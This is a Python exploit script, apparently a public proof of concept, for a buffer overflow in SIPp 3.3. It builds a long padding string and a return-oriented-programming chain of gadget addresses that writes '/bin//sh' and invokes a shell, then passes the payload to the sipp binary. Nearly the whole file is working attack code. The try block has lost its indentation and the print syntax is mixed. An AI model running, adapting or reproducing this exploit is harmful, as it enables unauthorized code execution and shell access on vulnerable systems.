import os, subprocess
from struct import pack
rop = "A"*2208
rop += pack('<I', 0x080e9101)
rop += pack('<I', 0x0811abe0)
rop += pack('<I', 0x41414141)
rop += pack('<I', 0x41414141)
rop += pack('<I', 0x41414141)
rop += pack('<I', 0x41414141)
rop += pack('<I', 0x0807b744)
rop += '/bin'
rop += pack('<I', 0x0810ae08)
rop += pack('<I', 0x41414141)
rop += pack('<I', 0x41414141)
rop += pack('<I', 0x080e9101)
rop += pack('<I', 0x0811abe4)
rop += pack('<I', 0x41414141)
rop += pack('<I', 0x41414141)
rop += pack('<I', 0x41414141)
rop += pack('<I', 0x41414141)
rop += pack('<I', 0x0807b744)
rop += '//sh'
rop += pack('<I', 0x0810ae08)
rop += pack('<I', 0x41414141)
rop += pack('<I', 0x41414141)
rop += pack('<I', 0x080e9101)
rop += pack('<I', 0x0811abe8)
rop += pack('<I', 0x41414141)
rop += pack('<I', 0x41414141)
rop += pack('<I', 0x41414141)
rop += pack('<I', 0x41414141)
rop += pack('<I', 0x080b4970)
rop += pack('<I', 0x41414141)
rop += pack('<I', 0x41414141)
rop += pack('<I', 0x0810ae08)
rop += pack('<I', 0x41414141)
rop += pack('<I', 0x41414141)
rop += pack('<I', 0x080dcf4b)
rop += pack('<I', 0x0811abe0)
rop += pack('<I', 0x41414141)
rop += pack('<I', 0x41414141)
rop += pack('<I', 0x08067b43)
rop += pack('<I', 0x0811abe8)
rop += pack('<I', 0x080e9101)
rop += pack('<I', 0x0811abe8)
rop += pack('<I', 0x0811abe0)
rop += pack('<I', 0x41414141)
rop += pack('<I', 0x41414141)
rop += pack('<I', 0x41414141)
rop += pack('<I', 0x080b4970)
rop += pack('<I', 0x41414141)
rop += pack('<I', 0x41414141)
rop += pack('<I', 0x080e571f)
rop += pack('<I', 0x080e571f)
rop += pack('<I', 0x080e571f)
rop += pack('<I', 0x080e571f)
rop += pack('<I', 0x080e571f)
rop += pack('<I', 0x080e571f)
rop += pack('<I', 0x080e571f)
rop += pack('<I', 0x080e571f)
rop += pack('<I', 0x080e571f)
rop += pack('<I', 0x080e571f)
rop += pack('<I', 0x080e571f)
rop += pack('<I', 0x080c861f)
try:
print("[*] SIPP 3.3 Buffer Overflow by Juan Sacco")
print("[*] Please wait.. running")
subprocess.call(["sipp ", rop])
except OSError as e:
if e.errno == os.errno.ENOENT:
print "SIPPnot found!"
else:
print "Error executing exploit"
raise